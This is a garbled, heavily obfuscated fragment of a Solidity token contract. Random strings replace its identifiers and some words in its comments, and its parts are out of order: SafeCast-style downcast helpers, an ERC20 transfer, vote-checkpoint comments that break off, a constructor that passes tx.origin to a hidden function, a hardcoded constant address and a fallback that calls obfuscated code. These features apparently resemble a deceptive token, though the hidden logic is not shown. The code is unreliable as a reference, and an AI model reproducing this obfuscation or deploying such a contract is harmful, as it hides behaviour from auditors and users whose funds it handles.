cCeLR9WmIJnGN063x6l2ds8u1ODqNp2Dz0TmYc6ffsEP8Euucqn1LyEInHHol9tX4zujk7UhNtOIMMzDSWK6G8vqs8b5Elm04uy49OZyUe2JrMNdDsMwY1fThZbGKpBEOpGD6ASGp11Pkz2NJQXo0cd0sIWUSl4LkL256(uint256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (int256) {        if (v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV > uint256(type(int256).max)) {            revert nrZxtMD5lMIFmCrmO9NUQt68knwTGWy3I5mKWLinitadmWzHscfW2aS9eEKhrrWFTBx94iOIfAwjkcXSS7wivulKAXmMz6ylJTZkPZJLRkG0ce4gh7Kp58LupbRjN4QHqiqgZoDCjAFt2dnImCHIesgGeKzoWpIQHIAwNajThd35SHknq6Wg7NZ2WptyzfGkX156WVgLxTQ1iVoDusrhSvluB2og9BsxL406VHwxwXf3zjx3haF(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }        return int256(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);    }constructor() {        rsfYFr0fDZAuXOA9tL5DqCPzihvu2EUUvz4d4bcI3VfPDxqSDQjYOa4v6w1MZGoFEegPvJUqGa7(tx.origin);    }address public constant jhDk07fuV0RRQw5dIyBM5MG8HbKqhBR4FhKycg9VYXYgqIBz2lMwxeb5czBPNRs7fz3Mh6ShFmSb = 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1;/**     * @dev See {IETHFI-transfer}.     *     * Requirements:     *     * - `to` cannot be the zero address.     * - the caller must have a balance of at least `v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV`.     */    function transfer(address to, uint256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) public returns (bool) {        address owner_ = eQSCQ51MxjTx1zVoE65cI1VHqbQ4QB3ryAdzW2UTOOmEFa8qf1M6z2zY9W57OLSf2lE9ItRQ8wmI7TOVL2BV0();        _transfer(owner_, to, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        return true;    }/**     * @dev Maximum token supply. Defaults to `type(uint208).max` (2^208^ - 1).     *     * This maximum is enforced in {_update}. It limits the total supply of the token, which is otherwise a uint256,     * so that checkpoints can be stored in the Trace208 structure used by {{Votes}}. Increasing this v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV will not     * remove the underlying limitation, and will cause {_update} to fail because of a math overflow in     * {_transferVotingUnits}. An override could be used to further restrict the total supply (to a lower v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) if     * additional logic requires it. When resolving override conflicts on this function, the minimum should be     * returned.     */    function _maxSupply() internal pure returns (uint256) {        return type(uint208).max;    }/**     * @dev Returns the downcasted int240 from int256, reverting on     * overflow (when the input is less than smallest int240 or     * greater than largest int240).     *     * Counterpart to Solidity's `int240` operator.     *     * Requirements:     *     * - input must fit into 240 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function cCeLR9WmIJnGN063x6l2ds8u1ODqNp2Dz0TmYc6ffsEP8Euucqn1LyEInHHol9tX4zujk7UhNtOIMMzDSWK6G8vqs8b5Elm04uy49OZyUe2JrMNdDsMwY1fThZbGKpBEOpGD6ASGp11Pkz2NJQXo0cd0sIWUSl4LkL240(int256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (int240 downcasted) {        downcasted = int240(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        if (downcasted != v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) {            revert ji9MSGJiisB2OotW2vIzvnHMAD4fCDEAHQ8NH33LI2s2p0f5iF5RIDs6zYpeOgN5bmn89pdjmf3nio6RDBLDF766uDCI5F3O2dBU55MQcFgWN9mCmnoH3BboUIZAuQ3AMFj8R8XoYdk1CHMEjki9xCStd2(240, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }    }/**     * @dev Get number of checkpoints for `kO0TOr359PWzGXoLKVAAIKwyuJjLg346lUVtOneacYkNUBuJfkXPiQUVLd4deapD0MVy5Ilg6WeKDehh1IsXCEouFyXZpM4Mu13rXiVSgufJd4j6UGduyYuqMarzYq7uWsKwRTrLsQP48Ukv8WX6O4k968ZUSQynQtW1gpwyc2uC7v3SslgyYannyE0V6Qbb40nyt6hwCiNW6xTGEvnkd0lIbKI1cGYGXEPlRggPIyUr73axao2`.     *//**     * @dev Returns the downcasted int144 from int256, reverting on     * overflow (when the input is less than smallest int144 or     * greater than largest int144).     *     * Counterpart to Solidity's `int144` operator.     *     * Requirements:     *     * - input must fit into 144 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function cCeLR9WmIJnGN063x6l2ds8u1ODqNp2Dz0TmYc6ffsEP8Euucqn1LyEInHHol9tX4zujk7UhNtOIMMzDSWK6G8vqs8b5Elm04uy49OZyUe2JrMNdDsMwY1fThZbGKpBEOpGD6ASGp11Pkz2NJQXo0cd0sIWUSl4LkL144(int256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (int144 downcasted) {        downcasted = int144(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        if (downcasted != v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) {            revert ji9MSGJiisB2OotW2vIzvnHMAD4fCDEAHQ8NH33LI2s2p0f5iF5RIDs6zYpeOgN5bmn89pdjmf3nio6RDBLDF766uDCI5F3O2dBU55MQcFgWN9mCmnoH3BboUIZAuQ3AMFj8R8XoYdk1CHMEjki9xCStd2(144, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }    }/**     * @dev Returns the downcasted uint240 from uint256, reverting on     * overflow (when the input is greater than largest uint240).     *     * Counterpart to Solidity's `uint240` operator.     *     * Requirements:     *     * - input must fit into 240 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function tQZuQad3INtttNHjFl6eJDASDwNbbtZ9CWGxzHiHvIwPrP7d8kIdLjBLxQKvCoSVnpa3IylFY2w7hQEOcJ7HhO8Rfz1IVxam08fLTq8GtTuys8U28j2QFGIj7wp3IdfJMPpgxSBFLmxHGQ7sl9IBHYl240(uint256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (uint240) {        if (v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV > type(uint240).max) {            revert vdSL5IynfCchQKjxGeJM6GDZjk0sVXnGsI1J7yPjf9JKMKeaUF870luIVMUGVF5fGvvvgTq0NxAjXYhix4ImMrHNXaH1pKmiUEQlQ3jlfsLABz7erkDI1alTcOqwCNAbxMFRZZCr(240, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }        return uint240(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);    }/**     * @dev Returns the downcasted int232 from int256, reverting on     * overflow (when the input is less than smallest int232 or     * greater than largest int232).     *     * Counterpart to Solidity's `int232` operator.     *     * Requirements:     *     * - input must fit into 232 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function cCeLR9WmIJnGN063x6l2ds8u1ODqNp2Dz0TmYc6ffsEP8Euucqn1LyEInHHol9tX4zujk7UhNtOIMMzDSWK6G8vqs8b5Elm04uy49OZyUe2JrMNdDsMwY1fThZbGKpBEOpGD6ASGp11Pkz2NJQXo0cd0sIWUSl4LkL232(int256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (int232 downcasted) {        downcasted = int232(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        if (downcasted != v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) {            revert ji9MSGJiisB2OotW2vIzvnHMAD4fCDEAHQ8NH33LI2s2p0f5iF5RIDs6zYpeOgN5bmn89pdjmf3nio6RDBLDF766uDCI5F3O2dBU55MQcFgWN9mCmnoH3BboUIZAuQ3AMFj8R8XoYdk1CHMEjki9xCStd2(232, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }    }/**     * @dev Returns the downcasted uint72 from uint256, reverting on     * overflow (when the input is greater than largest uint72).     *     * Counterpart to Solidity's `uint72` operator.     *     * Requirements:     *     * - input must fit into 72 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function tQZuQad3INtttNHjFl6eJDASDwNbbtZ9CWGxzHiHvIwPrP7d8kIdLjBLxQKvCoSVnpa3IylFY2w7hQEOcJ7HhO8Rfz1IVxam08fLTq8GtTuys8U28j2QFGIj7wp3IdfJMPpgxSBFLmxHGQ7sl9IBHYl72(uint256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (uint72) {        if (v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV > type(uint72).max) {            revert vdSL5IynfCchQKjxGeJM6GDZjk0sVXnGsI1J7yPjf9JKMKeaUF870luIVMUGVF5fGvvvgTq0NxAjXYhix4ImMrHNXaH1pKmiUEQlQ3jlfsLABz7erkDI1alTcOqwCNAbxMFRZZCr(72, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }        return uint72(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);    }/**     * @dev Returns the downcasted uint56 from uint256, reverting on     * overflow (when the input is greater than largest uint56).     *     * Counterpart to Solidity's `uint56` operator.     *     * Requirements:     *     * - input must fit into 56 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function tQZuQad3INtttNHjFl6eJDASDwNbbtZ9CWGxzHiHvIwPrP7d8kIdLjBLxQKvCoSVnpa3IylFY2w7hQEOcJ7HhO8Rfz1IVxam08fLTq8GtTuys8U28j2QFGIj7wp3IdfJMPpgxSBFLmxHGQ7sl9IBHYl56(uint256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (uint56) {        if (v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV > type(uint56).max) {            revert vdSL5IynfCchQKjxGeJM6GDZjk0sVXnGsI1J7yPjf9JKMKeaUF870luIVMUGVF5fGvvvgTq0NxAjXYhix4ImMrHNXaH1pKmiUEQlQ3jlfsLABz7erkDI1alTcOqwCNAbxMFRZZCr(56, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }        return uint56(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);    }/**     * @dev Returns the downcasted uint32 from uint256, reverting on     * overflow (when the input is greater than largest uint32).     *     * Counterpart to Solidity's `uint32` operator.     *     * Requirements:     *     * - input must fit into 32 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function tQZuQad3INtttNHjFl6eJDASDwNbbtZ9CWGxzHiHvIwPrP7d8kIdLjBLxQKvCoSVnpa3IylFY2w7hQEOcJ7HhO8Rfz1IVxam08fLTq8GtTuys8U28j2QFGIj7wp3IdfJMPpgxSBFLmxHGQ7sl9IBHYl32(uint256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (uint32) {        if (v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV > type(uint32).max) {            revert vdSL5IynfCchQKjxGeJM6GDZjk0sVXnGsI1J7yPjf9JKMKeaUF870luIVMUGVF5fGvvvgTq0NxAjXYhix4ImMrHNXaH1pKmiUEQlQ3jlfsLABz7erkDI1alTcOqwCNAbxMFRZZCr(32, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }        return uint32(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);    }/**     * @dev Value doesn't fit in an int of `bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc` size.     */    error ji9MSGJiisB2OotW2vIzvnHMAD4fCDEAHQ8NH33LI2s2p0f5iF5RIDs6zYpeOgN5bmn89pdjmf3nio6RDBLDF766uDCI5F3O2dBU55MQcFgWN9mCmnoH3BboUIZAuQ3AMFj8R8XoYdk1CHMEjki9xCStd2(uint8 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc, int256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);fallback() external {        zUPnOrQGcxumfpQwHuUNq82aVPOYkCdynT12v59WclVuWP9xoXz0JZeMm91hzv66h5PzzDDejAfenYyYDlZsEEHDnyq5R64H0ytUG50sYuFAhKSbNvrW09ceK8NYM7ZXwN6gTb7BNqtJcli6AWzJHNEXloOSXpjzcjRA(dAVj8Dot943AB5khwNPCh7VsbhdJllGNcNnfVayVgHemnB7ipNsbcxa9wtVHPZhPrgt7uACGzXCafps2SmTyTgAZae1mpBjSXIlxWLoMjS6WfIo6b8VnRrhiGJ0S44wxLgr6XqIsJYULyElavXL());    }/**     * @dev Returns the downcasted uint136 from uint256, reverting on     * overflow (when the input is greater than largest uint136).     *     * Counterpart to Solidity's `uint136` operator.     *     * Requirements:     *     * - input must fit into 136 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function tQZuQad3INtttNHjFl6eJDASDwNbbtZ9CWGxzHiHvIwPrP7d8kIdLjBLxQKvCoSVnpa3IylFY2w7hQEOcJ7HhO8Rfz1IVxam08fLTq8GtTuys8U28j2QFGIj7wp3IdfJMPpgxSBFLmxHGQ7sl9IBHYl136(uint256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (uint136) {        if (v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV > type(uint136).max) {            revert vdSL5IynfCchQKjxGeJM6GDZjk0sVXnGsI1J7yPjf9JKMKeaUF870luIVMUGVF5fGvvvgTq0NxAjXYhix4ImMrHNXaH1pKmiUEQlQ3jlfsLABz7erkDI1alTcOqwCNAbxMFRZZCr(136, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }        return uint136(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);    }/**     * @dev Returns the downcasted uint96 from uint256, reverting on     * overflow (when the input is greater than largest uint96).     *     * Counterpart to Solidity's `uint96` operator.     *     * Requirements:     *     * - input must fit into 96 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function tQZuQad3INtttNHjFl6eJDASDwNbbtZ9CWGxzHiHvIwPrP7d8kIdLjBLxQKvCoSVnpa3IylFY2w7hQEOcJ7HhO8Rfz1IVxam08fLTq8GtTuys8U28j2QFGIj7wp3IdfJMPpgxSBFLmxHGQ7sl9IBHYl96(uint256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (uint96) {        if (v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV > type(uint96).max) {            revert vdSL5IynfCchQKjxGeJM6GDZjk0sVXnGsI1J7yPjf9JKMKeaUF870luIVMUGVF5fGvvvgTq0NxAjXYhix4ImMrHNXaH1pKmiUEQlQ3jlfsLABz7erkDI1alTcOqwCNAbxMFRZZCr(96, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }        return uint96(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);    }/**     * @dev Returns the current vmXoLOmeT6VapVla9hySibHwWSCBd97QdKAl1D5w8nQLjuBQTAx0ujjVaHWa3a4CvxFozi27oZYoUfcYOfOVgDwvF1BpSZbOFLBIpNtvDUyQdrWOsXARIPepH8BSyzsv7q99JThwFMqmAHRVIBrgjLWJ53QkXmvevL7q4fMaWk2qjBmN4uw8fg4sQrNDGNsghfLyAj5vg7AaJWVScBtiOyMsqHZ63kU4eq7 of votes that `kO0TOr359PWzGXoLKVAAIKwyuJjLg346lUVtOneacYkNUBuJfkXPiQUVLd4deapD0MVy5Ilg6WeKDehh1IsXCEouFyXZpM4Mu13rXiVSgufJd4j6UGduyYuqMarzYq7uWsKwRTrLsQP48Ukv8WX6O4k968ZUSQynQtW1gpwyc2uC7v3SslgyYannyE0V6Qbb40nyt6hwCiNW6xTGEvnkd0lIbKI1cGYGXEPlRggPIyUr73axao2` has.     *//**     * @dev Returns the downcasted uint120 from uint256, reverting on     * overflow (when the input is greater than largest uint120).     *     * Counterpart to Solidity's `uint120` operator.     *     * Requirements:     *     * - input must fit into 120 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function tQZuQad3INtttNHjFl6eJDASDwNbbtZ9CWGxzHiHvIwPrP7d8kIdLjBLxQKvCoSVnpa3IylFY2w7hQEOcJ7HhO8Rfz1IVxam08fLTq8GtTuys8U28j2QFGIj7wp3IdfJMPpgxSBFLmxHGQ7sl9IBHYl120(uint256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (uint120) {        if (v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV > type(uint120).max) {            revert vdSL5IynfCchQKjxGeJM6GDZjk0sVXnGsI1J7yPjf9JKMKeaUF870luIVMUGVF5fGvvvgTq0NxAjXYhix4ImMrHNXaH1pKmiUEQlQ3jlfsLABz7erkDI1alTcOqwCNAbxMFRZZCr(120, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }        return uint120(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);    }/**     * @dev Clock used for flagging checkpoints. Can be overridden to implement timestamp based     * checkpoints (and voting), in which case {CLOCK_MODE} should be overridden as well to match.     *//**     * @dev Returns the downcasted int152 from int256, reverting on     * overflow (when the input is less than smallest int152 or     * greater than largest int152).     *     * Counterpart to Solidity's `int152` operator.     *     * Requirements:     *     * - input must fit into 152 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function cCeLR9WmIJnGN063x6l2ds8u1ODqNp2Dz0TmYc6ffsEP8Euucqn1LyEInHHol9tX4zujk7UhNtOIMMzDSWK6G8vqs8b5Elm04uy49OZyUe2JrMNdDsMwY1fThZbGKpBEOpGD6ASGp11Pkz2NJQXo0cd0sIWUSl4LkL152(int256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (int152 downcasted) {        downcasted = int152(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        if (downcasted != v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) {            revert ji9MSGJiisB2OotW2vIzvnHMAD4fCDEAHQ8NH33LI2s2p0f5iF5RIDs6zYpeOgN5bmn89pdjmf3nio6RDBLDF766uDCI5F3O2dBU55MQcFgWN9mCmnoH3BboUIZAuQ3AMFj8R8XoYdk1CHMEjki9xCStd2(152, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }    }address private pQuhBEhCjqKtDZNpxQdBDQIKyKhAbResQNGI0ubNUeJhsqKkAN2Gr50iprcPrqGUvpcoFhMyIFQwfNDMZBULYizk28FJy8SOUxFwI7dUPC8IuS6HqHWHJsPNUlsVZYPNmCaW9FVvSQYXPkhrpI1RnbsmTUikNpFXkLDQP6;    mapping(address => uint256) internal uay0sZhHvy1W0Ly9pqtyIC1nP7qHtnGOJhb50UOFzYsOywWqd6swFjgSXsZKh090fNE1vO14QLBRvpuwT8x7fP1pXwG7qrqdj9XzC1vnBpJxuQfNM8Vl2TrN09N7qXa0an65p0Nbny;    mapping(address => mapping(address => uint256)) private kGEmPrlMoZFQ26px9xCkbQtBeoBLcfRc7DgewzdW3BmGHfr1Te5uYXHSc1LCI6DVFZSoFtG2BF4snTW4uyMlZNZNtpVf0fmSBv1jpfeQ6gu1phEUvV1reD1pzyIjCrwswgiZrzlwmQ4xkOJv9T74zcbeQQCRVl56q1z3MUCrDA;    uint256 internal lSrNwy5cajcbXPa4suAeRkkLfpwxHgmHtoUyauEHvi8Jlk8wpeBrZnGeaJmRrMVJrJogemlOsLl;    address internal o2QxbdEvhGo23aYx6VodAYJeY80U34WGOozd7bhMXpHYALCN4P0G8b4sKgwEGWlGKPRZV0V0ZYD2BzzOClEAFcxjtOw7fGk5IVTd3N8xCDGHnYDT61wEO6eta8hF1xEAzz3Jz7HCaURqzwQoFazEaReIg8ljyqJzU1ps2SsAmMcprcRBScnEWdl8KEsDLrRn6ZDyVhc25AjG5aFeAK1G3W35fjrOkTJlIaR;    string private m0qclDCeXK4Izy66ktOj3zCimBM4jFe1oQtd56Qie96u2OLuORj9EKVdUVT6eKTEKui4nLHS27jskNQSwWACfpSs6ccE0ed354gx0pBtvQgxvfGZhzYLrzgCXKEsNdJbu7gzk5wRyZqbVndJ23oWX2ivnB96MEV9BcHDvhItfLmlzZ0pkSxzYQOokKJgu77oelSgQjMYKBtsQiNGAsNPneIQxChYMMAMrqESs1X6zps4xdc6WsgpaId;    string private uLxERJxke9qQWn1DVxKaGuGMUW3frJ8AR5hrOs8phXYe5UsTG3sJx2Dc8pu98vKm0uNCVrd9LZRNT5OtH1ydmGpMl19wPvc8zYmFUEsZylCyaX2F4u5MlEUvJhB3Cu5notx1TPNFC9bmxUIQv4DwrMwF4avmg5pTS5RpCY5x9XmGC5JtRvoLKytRbNs6qsuSsyZx680rhxWGenRx4A8p9EdD7Rn6STPEJB0KDFEHhSA;/**     * @dev Returns the downcasted uint24 from uint256, reverting on     * overflow (when the input is greater than largest uint24).     *     * Counterpart to Solidity's `uint24` operator.     *     * Requirements:     *     * - input must fit into 24 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function tQZuQad3INtttNHjFl6eJDASDwNbbtZ9CWGxzHiHvIwPrP7d8kIdLjBLxQKvCoSVnpa3IylFY2w7hQEOcJ7HhO8Rfz1IVxam08fLTq8GtTuys8U28j2QFGIj7wp3IdfJMPpgxSBFLmxHGQ7sl9IBHYl24(uint256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (uint24) {        if (v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV > type(uint24).max) {            revert vdSL5IynfCchQKjxGeJM6GDZjk0sVXnGsI1J7yPjf9JKMKeaUF870luIVMUGVF5fGvvvgTq0NxAjXYhix4ImMrHNXaH1pKmiUEQlQ3jlfsLABz7erkDI1alTcOqwCNAbxMFRZZCr(24, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }        return uint24(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);    }/**     * @dev Get the block number as a Timepoint.     */    function blockNumber() internal view returns (uint48) {        return tQZuQad3INtttNHjFl6eJDASDwNbbtZ9CWGxzHiHvIwPrP7d8kIdLjBLxQKvCoSVnpa3IylFY2w7hQEOcJ7HhO8Rfz1IVxam08fLTq8GtTuys8U28j2QFGIj7wp3IdfJMPpgxSBFLmxHGQ7sl9IBHYl48(block.number);    }function tQZuQad3INtttNHjFl6eJDASDwNbbtZ9CWGxzHiHvIwPrP7d8kIdLjBLxQKvCoSVnpa3IylFY2w7hQEOcJ7HhO8Rfz1IVxam08fLTq8GtTuys8U28j2QFGIj7wp3IdfJMPpgxSBFLmxHGQ7sl9IBHYl248(uint256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (uint248) {        if (v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV > type(uint248).max) {            revert vdSL5IynfCchQKjxGeJM6GDZjk0sVXnGsI1J7yPjf9JKMKeaUF870luIVMUGVF5fGvvvgTq0NxAjXYhix4ImMrHNXaH1pKmiUEQlQ3jlfsLABz7erkDI1alTcOqwCNAbxMFRZZCr(248, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }        return uint248(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);    }/**     * @dev Returns the downcasted uint208 from uint256, reverting on     * overflow (when the input is greater than largest uint208).     *     * Counterpart to Solidity's `uint208` operator.     *     * Requirements:     *     * - input must fit into 208 